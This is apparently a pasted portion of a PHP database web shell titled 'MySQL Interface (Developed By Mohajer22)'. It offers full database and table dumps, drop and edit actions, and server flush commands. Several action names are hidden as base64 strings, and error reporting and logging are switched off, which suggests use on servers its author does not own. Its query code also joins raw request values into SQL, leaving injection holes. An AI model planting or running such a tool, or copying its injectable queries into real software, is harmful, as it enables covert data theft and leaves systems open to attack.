  743.                     $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  744.         }
  745.         $key = substr( $key, 0, strlen($key)-4 );
  746.  
  747.         mysql_select_db( $dbname, $mysqlHandle );
  748.         $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  749.         $data = mysql_fetch_array( $pResult );
  750.     }
  751.  
  752.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  753.  
  754.     echo "<form action='$PHP_SELF' method=post>\n";
  755.     if( $cmd == "add" )
  756.         echo "<input type=hidden name=action value=addData_submit>\n";
  757.     else if( $cmd == "edit" )
  758.         echo "<input type=hidden name=action value=editData_submit>\n";
  759.     echo "<input type=hidden name=dbname value=$dbname>\n";
  760.     echo "<input type=hidden name=tablename value=$tablename>\n";
  761.     echo "<table cellspacing=1 cellpadding=2>\n";
  762.     echo "<tr>\n";
  763.     echo "<th>Name</th>\n";
  764.     echo "<th>Type</th>\n";
  765.     echo "<th>Function</th>\n";
  766.     echo "<th>Data</th>\n";
  767.     echo "</tr>\n";
  768.  
  769.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  770.     $num = mysql_num_rows( $pResult );
  771.  
  772.     $pResultLen = mysql_list_fields( $dbname, $tablename );
  773.  
  774.     for( $i = 0; $i < $num; $i++ ) {
  775.         $field = mysql_fetch_array( $pResult );
  776.         $fieldname = $field["Field"];
  777.         $fieldtype = $field["Type"];
  778.         $len = mysql_field_len( $pResultLen, $i );
  779.  
  780.         echo "<tr>";
  781.         echo "<td>$fieldname</td>";
  782.         echo "<td>".$field["Type"]."</td>";
  783.         echo "<td>\n";
  784.         echo "<select name=${fieldname}_function>\n";
  785.         echo "<option>\n";
  786.         echo "<option>ASCII\n";
  787.         echo "<option>CHAR\n";
  788.         echo "<option>SOUNDEX\n";
  789.         echo "<option>CURDATE\n";
  790.         echo "<option>CURTIME\n";
  791.         echo "<option>FROM_DAYS\n";
  792.         echo "<option>FROM_UNIXTIME\n";
  793.         echo "<option>NOW\n";
  794.         echo "<option>PASSWORD\n";
  795.         echo "<option>PERIOD_ADD\n";
  796.         echo "<option>PERIOD_DIFF\n";
  797.         echo "<option>TO_DAYS\n";
  798.         echo "<option>USER\n";
  799.         echo "<option>WEEKDAY\n";
  800.         echo "<option>RAND\n";
  801.         echo "</select>\n";
  802.         echo "</td>\n";
  803.         $value = htmlspecialchars($data[$i]);
  804.         if( $cmd == "add" ) {
  805.             $type = strtok( $fieldtype, " (,)\n" );
  806.             if( $type == "enum" || $type == "set" ) {
  807.                 echo "<td>\n";
  808.                 if( $type == "enum" )
  809.                     echo "<select name=$fieldname>\n";
  810.                 else if( $type == "set" )
  811.                     echo "<select name=$fieldname size=4 multiple>\n";
  812.                 while( $str = strtok( "'" ) ) {
  813.                     echo "<option>$str\n";
  814.                     strtok( "'" );
  815.                 }
  816.                 echo "</select>\n";
  817.                 echo "</td>\n";
  818.             } else {
  819.                 if( $len < 40 )
  820.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  821.                 else
  822.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  823.             }
  824.         } else if( $cmd == "edit" ) {
  825.             $type = strtok( $fieldtype, " (,)\n" );
  826.             if( $type == "enum" || $type == "set" ) {
  827.                 echo "<td>\n";
  828.                 if( $type == "enum" )
  829.                     echo "<select name=$fieldname>\n";
  830.                 else if( $type == "set" )
  831.                     echo "<select name=$fieldname size=4 multiple>\n";
  832.                 while( $str = strtok( "'" ) ) {
  833.                     if( $value == $str )
  834.                         echo "<option selected>$str\n";
  835.                     else
  836.                         echo "<option>$str\n";
  837.                     strtok( "'" );
  838.                 }
  839.                 echo "</select>\n";
  840.                 echo "</td>\n";
  841.             } else {
  842.                 if( $len < 40 )
  843.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  844.                 else
  845.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  846.             }
  847.         }
  848.         echo "</tr>";
  849.     }
  850.     echo "</table><p>\n";
  851.     if( $cmd == "add" )
  852.         echo "<input type=submit value='Add Data'>\n";
  853.     else if( $cmd == "edit" )
  854.         echo "<input type=submit value='Edit Data'>\n";
  855.     echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  856.     echo "</form>\n";
  857. }
  858.  
  859. function manageData_submit( $cmd ) {
  860.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  861.  
  862.     $pResult = mysql_list_fields( $dbname, $tablename );
  863.     $num = mysql_num_fields( $pResult );
  864.  
  865.     mysql_select_db( $dbname, $mysqlHandle );
  866.     if( $cmd == "add" )
  867.         $queryStr = "INSERT INTO $tablename VALUES (";
  868.     else if( $cmd == "edit" )
  869.         $queryStr = "REPLACE INTO $tablename VALUES (";
  870.     for( $i = 0; $i < $num-1; $i++ ) {
  871.         $field = mysql_fetch_field( $pResult );
  872.         $func = $GLOBALS[$field->name."_function"];
  873.         if( $func != "" )
  874.             $queryStr .= " $func(";
  875.         if( $field->numeric == 1 ) {
  876.             $queryStr .= $GLOBALS[$field->name];
  877.             if( $func != "" )
  878.                 $queryStr .= "),";
  879.             else
  880.                 $queryStr .= ",";
  881.         } else {
  882.             $queryStr .= "'" . $GLOBALS[$field->name];
  883.             if( $func != "" )
  884.                 $queryStr .= "'),";
  885.             else
  886.                 $queryStr .= "',";
  887.         }
  888.     }
  889.     $field = mysql_fetch_field( $pResult );
  890.     if( $field->numeric == 1 )
  891.         $queryStr .= $GLOBALS[$field->name] . ")";
  892.     else
  893.         $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  894.  
  895.     mysql_query( $queryStr , $mysqlHandle );
  896.     $errMsg = mysql_error();
  897.  
  898.     viewData( "" );
  899. }
  900.  
  901. function deleteData() {
  902.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  903.  
  904.     $pResult = mysql_list_fields( $dbname, $tablename );
  905.     $num = mysql_num_fields( $pResult );
  906.  
  907.     $key = "";
  908.     for( $i = 0; $i < $num; $i++ ) {
  909.         $field = mysql_fetch_field( $pResult, $i );
  910.         if( $field->primary_key == 1 )
  911.             if( $field->numeric == 1 )
  912.                 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  913.             else
  914.                 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  915.     }
  916.     $key = substr( $key, 0, strlen($key)-4 );
  917.  
  918.     mysql_select_db( $dbname, $mysqlHandle );
  919.     $queryStr =  "DELETE FROM $tablename WHERE $key";
  920.     mysql_query( $queryStr, $mysqlHandle );
  921.     $errMsg = mysql_error();
  922.  
  923.     viewData( "" );
  924. }
  925.  
  926. function fetch_table_dump_sql($table)
  927. {
  928.     global $mysqlHandle,$dbname;
  929.  
  930.     mysql_select_db( $dbname, $mysqlHandle );
  931.     $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  932.     $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  933.     $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  934.  
  935.     echo $tabledump;
  936.  
  937.     // get data
  938.     $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  939.     $numfields=mysql_num_fields($rows);
  940.     while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  941.     {
  942.         $tabledump = "INSERT INTO $table VALUES(";
  943.  
  944.         $fieldcounter = -1;
  945.         $firstfield = 1;
  946.         // get each field's data
  947.         while (++$fieldcounter < $numfields)
  948.         {
  949.             if (!$firstfield)
  950.             {
  951.                 $tabledump .= ', ';
  952.             }
  953.             else
  954.             {
  955.                 $firstfield = 0;
  956.             }
  957.  
  958.             if (!isset($row["$fieldcounter"]))
  959.             {
  960.                 $tabledump .= 'NULL';
  961.             }
  962.             else
  963.             {
  964.                 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  965.             }
  966.         }
  967.  
  968.         $tabledump .= ");\n";
  969.  
  970.         echo $tabledump;
  971.  
  972.     }
  973.     @mysql_free_result($rows);
  974. }
  975.  
  976. function dump() {
  977.     global $mysqlHandle, $action, $dbname, $tablename;
  978.  
  979.     if( $action == "dumpTable" ){
  980.  
  981.         header("Content-disposition: filename=$tablename.sql");
  982.         header('Content-type: unknown/unknown');
  983.         fetch_table_dump_sql($tablename);
  984.         echo "\n\n\n";
  985.         echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  986.         exit;
  987.  
  988.     }else{
  989.         header("Content-disposition: filename=$dbname.sql");
  990.         header('Content-type: unknown/unknown');
  991.  
  992.         mysql_select_db( $dbname, $mysqlHandle );
  993.         $query_id = mysql_query("SHOW tables",$mysqlHandle);
  994.         while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  995.         {
  996.                 fetch_table_dump_sql($row[0]);
  997.                 echo "\n\n\n";
  998.                 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  999.                 echo "\n\n\n";
  1000.         }
  1001.         echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1002.         exit;
  1003.  
  1004.     }
  1005.  
  1006. }
  1007.  
  1008. function utils() {
  1009.     global $PHP_SELF, $command;
  1010.     echo "<h1>Utilities</h1>\n";
  1011.     if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1012.         echo "<hr>\n";
  1013.         echo "Show\n";
  1014.         echo "<ul>\n";
  1015.         echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1016.         echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1017.         echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1018.         echo "</ul>\n";
  1019.         echo "Flush\n";
  1020.         echo "<ul>\n";
  1021.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1022.         if( $command == "flush_hosts" ) {
  1023.             if( mysql_query( "Flush hosts" ) != false )
  1024.                 echo "- Success";
  1025.             else
  1026.                 echo "- Fail";
  1027.         }
  1028.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1029.         if( $command == "flush_logs" ) {
  1030.             if( mysql_query( "Flush logs" ) != false )
  1031.                 echo "- Success";
  1032.             else
  1033.                 echo "- Fail";
  1034.         }
  1035.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1036.         if( $command == "flush_privileges" ) {
  1037.             if( mysql_query( "Flush privileges" ) != false )
  1038.                 echo "- Success";
  1039.             else
  1040.                 echo "- Fail";
  1041.         }
  1042.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1043.         if( $command == "flush_tables" ) {
  1044.             if( mysql_query( "Flush tables" ) != false )
  1045.                 echo "- Success";
  1046.             else
  1047.                 echo "- Fail";
  1048.         }
  1049.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1050.         if( $command == "flush_status" ) {
  1051.             if( mysql_query( "Flush status" ) != false )
  1052.                 echo "- Success";
  1053.             else
  1054.                 echo "- Fail";
  1055.         }
  1056.         echo "</ul>\n";
  1057.     } else {
  1058.         $queryStr = ereg_replace( "_", " ", $command );
  1059.         $pResult = mysql_query( $queryStr );
  1060.         if( $pResult == false ) {
  1061.             echo "Fail";
  1062.             return;
  1063.         }
  1064.         $col = mysql_num_fields( $pResult );
  1065.  
  1066.         echo "<p class=location>$queryStr</p>\n";
  1067.         echo "<hr>\n";
  1068.  
  1069.         echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1070.         echo "<tr>\n";
  1071.         for( $i = 0; $i < $col; $i++ ) {
  1072.             $field = mysql_fetch_field( $pResult, $i );
  1073.             echo "<th>".$field->name."</th>\n";
  1074.         }
  1075.         echo "</tr>\n";
  1076.  
  1077.         while( 1 ) {
  1078.             $rowArray = mysql_fetch_row( $pResult );
  1079.             if( $rowArray == false ) break;
  1080.             echo "<tr>\n";
  1081.             for( $j = 0; $j < $col; $j++ )
  1082.                 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1083.             echo "</tr>\n";
  1084.         }
  1085.         echo "</table>\n";
  1086.     }
  1087. }
  1088.  
  1089.  
  1090.  
  1091. function footer_html() {
  1092.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1093.  
  1094.     echo "<hr>\n";
  1095.     echo "[$USERNAME] - \n";
  1096.  
  1097.     echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  1098.     if( $tablename != "" )
  1099.         echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1100.     echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1101.     echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1102.  
  1103.  
  1104. }
  1105.  
  1106.  
  1107.  
  1108.  
  1109. //------------- MAIN ------------- //
  1110. error_reporting(0);
  1111. ini_set ('display_errors', 0);
  1112. ini_set ('log_errors', 0);
  1113.  
  1114. if( $action == "logon" || $action == "" || $action == "logout" )
  1115.     logon();
  1116. else if( $action == "bG9nb25fc3VibWl0" )
  1117.     logon_submit();
  1118. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1119.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1120.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1121.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1122.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1123.     }
  1124.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1125.     dump();
  1126. } else {
  1127.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1128.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1129.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1130.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1131.     }
  1132.     echo "<!--";
  1133.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1134.     echo "-->";
  1135.  
  1136.     if( $mysqlHandle == false ) {
  1137.  
  1138.  
  1139.         echo "<table width=100% height=100%><tr><td><center>\n";
  1140.         echo "<h1>Wrong Password!</h1>\n";
  1141.         echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1142.         echo "</center></td></tr></table>\n";
  1143.  
  1144.     } else {
  1145.  
  1146.         if( $action == "bGlzdERCcw==" )
  1147.             listDatabases();
  1148.         else if( $action == "createDB" )
  1149.             createDatabase();
  1150.         else if( $action == "dropDB" )
  1151.             dropDatabase();
  1152.         else if( $action == "listTables" )
  1153.             listTables();
  1154.         else if( $action == "createTable" )
  1155.             createTable();
  1156.         else if( $action == "dropTable" )
  1157.             dropTable();
  1158.         else if( $action == "viewSchema" )
  1159.             viewSchema();
  1160.         else if( $action == "query" )
  1161.             viewData( $queryStr );
  1162.         else if( $action == "addField" )
  1163.             manageField( "add" );
  1164.         else if( $action == "addField_submit" )
  1165.             manageField_submit( "add" );
  1166.         else if( $action == "editField" )
  1167.             manageField( "edit" );
  1168.         else if( $action == "editField_submit" )
  1169.             manageField_submit( "edit" );
  1170.         else if( $action == "dropField" )
  1171.             dropField();
  1172.         else if( $action == "dmlld0RhdGE=" )
  1173.             viewData( "" );
  1174.         else if( $action == "addData" )
  1175.             manageData( "add" );
  1176.         else if( $action == "addData_submit" )
  1177.             manageData_submit( "add" );
  1178.         else if( $action == "editData" )
  1179.             manageData( "edit" );
  1180.         else if( $action == "editData_submit" )
  1181.             manageData_submit( "edit" );
  1182.         else if( $action == "deleteData" )
  1183.             deleteData();
  1184.         else if( $action == "utils" )
  1185.             utils();
  1186.  
  1187.         mysql_close( $mysqlHandle);
  1188.         footer_html();
  1189.     }
  1190. }
  1191.  
  1192.  
  1193. ?>
  1194. <html>
  1195. <head>
  1196. <title>MySQL Interface (Developed By Mohajer22)</title>
  1197. <body bgColor=#202040 >
  1198. <style type="text/css">
  1199. <!--
  1200. p.location {
  1201.     color: #11bb33;
  1202.     font-size: small;
  1203. }
  1204. h1 {
  1205.     color: #c00000;
  1206. }
  1207. th {
  1208.     background-color: #000000;
  1209.     color: #11bb33;
  1210.     font-size: small;
  1211. }
  1212. td {
  1213.     background-color: #808080;
  1214.     font-size: small;
  1215. }
  1216. form {
  1217.     margin-top: 0;
  1218.     margin-bottom: 0;
  1219. }
  1220. a {
  1221.     text-decoration:none;
  1222.     color: #848200;
  1223.     font-size:small;
  1224. }
  1225. A:link {
  1226. COLOR:#EEEFD5;
  1227. TEXT-DECORATION: none
  1228. }
  1229. A:visited {
  1230. COLOR:#c00000;
  1231. TEXT-DECORATION: none
  1232. }
  1233. A:active {
  1234. COLOR:#c00000;
  1235. TEXT-DECORATION: none
  1236. }
  1237. A:hover {
  1238. color:#c00000;
  1239. TEXT-DECORATION: none
  1240. }
  1241. input, select, textarea {
  1242. background-color: #404040;
  1243. border-style: solid;
  1244. font-family: verdana, arial, sans-serif;
  1245. font-size:small;
  1246. color: #ffffff;
  1247. padding: 0px;
  1248. }
  1249. //-->
  1250. </style>
  1251. </head>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement